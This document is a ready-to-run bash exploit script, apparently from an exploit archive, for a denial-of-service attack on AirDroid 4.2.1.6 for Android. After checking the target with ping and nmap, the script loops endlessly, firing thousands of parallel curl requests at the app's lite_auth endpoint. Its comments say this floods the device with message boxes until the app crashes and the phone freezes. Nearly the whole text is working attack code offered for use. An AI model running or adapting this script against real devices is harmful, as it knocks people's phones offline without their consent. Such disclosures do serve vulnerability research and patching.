AirDroid 4.2.1.6 Denial Of Service

`#!/bin/bash  
  
# *****************************************************  
# * Author: Marcelo VA!zquez (aka s4vitar) *  
# * AirDroid Denial of Service (DoS) & System Crash *  
# *****************************************************  
  
# Exploit Title: AirDroid Remote Denial of Service (DoS) & System Crash  
# Date: 2019-02-07  
# Exploit Author: Marcelo VA!zquez  
# Vendor Homepage: https://web.airdroid.com/  
# Software Link: https://play.google.com/store/apps/details?id=com.sand.airdroid&hl=en  
# Version: AirDroid 4.2.1.6  
# Tested on: Android  
  
#Colours  
greenColour="\e[0;32m\033[1m"  
endColour="\033[0m\e[0m"  
redColour="\e[0;31m\033[1m"  
blueColour="\e[0;34m\033[1m"  
yellowColour="\e[0;33m\033[1m"  
purpleColour="\e[0;35m\033[1m"  
turquoiseColour="\e[0;36m\033[1m"  
grayColour="\e[0;37m\033[1m"  
  
trap ctrl_c INT  
  
function ctrl_c() {  
echo -e "\n\n${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${grayColour}Exiting...${endColour}\n" && tput cnorm  
pkill curl > /dev/null 2>&1  
exit  
}  
  
function check_host(){  
# Target availability detection  
echo -e "${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${grayColour} Checking host availability...${endColour}" && sleep 1  
  
ping -c 1 $host > /dev/null 2>&1  
  
if [ "$(echo $?)" == "0" ]; then  
echo -e "\n\t${greenColour}--${endColour}${redColour} Host is active${endColour}${greenColour} --${endColour}\n"  
else  
echo -e "\n\t${greenColour}--${endColour}${redColour} Host is inactive${endColour}${greenColour} --${endColour}\n" && tput cnorm && exit  
fi  
  
echo -e "${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${grayColour} Checking if port is open...${endColour}" && sleep 1  
  
if [ "$(nmap -p$port --open -T5 -v -n $host | grep open)" ] && [ "$(nmap -p$port $host -sC -sV | grep -i airdroid)" ]; then  
echo -e "\n\t${greenColour}--${endColour}${redColour} Port${endColour}${grayColour} $port${endColour}${redColour} is open!!${endColour}${greenColour} --${endColour}\n"  
echo -e "\t${greenColour}--${endColour}${redColour} ${endColour}${turquoiseColour}Airdroid Service${endColour}${redColour} detected !!${endColour}${greenColour} --${endColour}\n"  
elif [ "$(nmap -p$port --open -T5 -v -n $host | grep open)" ]; then  
echo -e "\n\t${greenColour}--${endColour}${redColour} Port is open but it does not correspond to the ${endColour}${turquoiseColour}Airdroid service${endColour}${redColour}!!${endColour}${greenColour} --${endColour}\n" && tput cnorm && exit  
else  
echo -e "\n\t${greenColour}--${endColour}${redColour} Port is closed!!${endColour}${greenColour} --${endColour}\n" && tput cnorm && exit  
fi  
}  
  
function banner()  
{  
sleep 0.2 && echo -e "\n$redColour /\ $endColour"  
sleep 0.2 && echo -e "$redColour / \ $endColour"  
sleep 0.2 && echo -e "$redColour | | $endColour $yellowColour[${endColour}${grayColour}AirDroid Denial of Service (DoS) [System Crash]${endColour}${yellowColour}]${endColour}"  
sleep 0.2 && echo -e "$redColour | | $endColour ${yellowColour}Author:${endColour}${grayColour} Marcelo VA!zquez (aka s4vitar)${endColour}"  
sleep 0.2 && echo -e "$redColour / == \ $endColour"  
sleep 0.2 && echo -e "$redColour |/**\| $endColour"  
sleep 0.2 && for i in $(seq 1 70); do echo -ne "${redColour}-${endColour}"; done && sleep 1 && echo  
}  
  
if [ "$(echo $#)" == "2" ]; then  
tput civis && banner  
host=$1 && port=$2  
echo && check_host  
  
# Path to launch the message box on the mobile device  
url="http://$host:$port/sdctl/comm/lite_auth/"  
  
tput cnorm && echo -ne "${yellowColour}You want to start the attack?${endColour}${grayColour} <${endColour}${redColour}y${endColour}${turquoiseColour}/${endColour}${blueColour}n${endColour}${grayColour}>${endColour}${grayColour}:${endColour} " && read attack_response  
  
if [ "$(echo $attack_response)" == "y" ]; then  
counter=0  
  
# Start launch attack of the message boxes, so the Application crash and the device freezes  
tput civis && while true; do  
for i in $(seq 1 3000); do  
curl --silent "$url" &  
let counter+=1  
done && wait  
echo -e "\n${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${redColour} $counter${endColour}${grayColour} requests successfully sent${endColour}${redColour}!!${endColour}"  
done  
else  
:  
fi  
else  
echo -e "\n${blueColour}Usage: ${endColour}${redColour}./airdroid_dos.sh ${endColour}${yellowColour}<${endColour}${grayColour}ip_address${endColour}${yellowColour}>${endColour}${yellowColour} <${endColour}${grayColour}port${endColour}${yellowColour}>${endColour}\n"  
fi  
`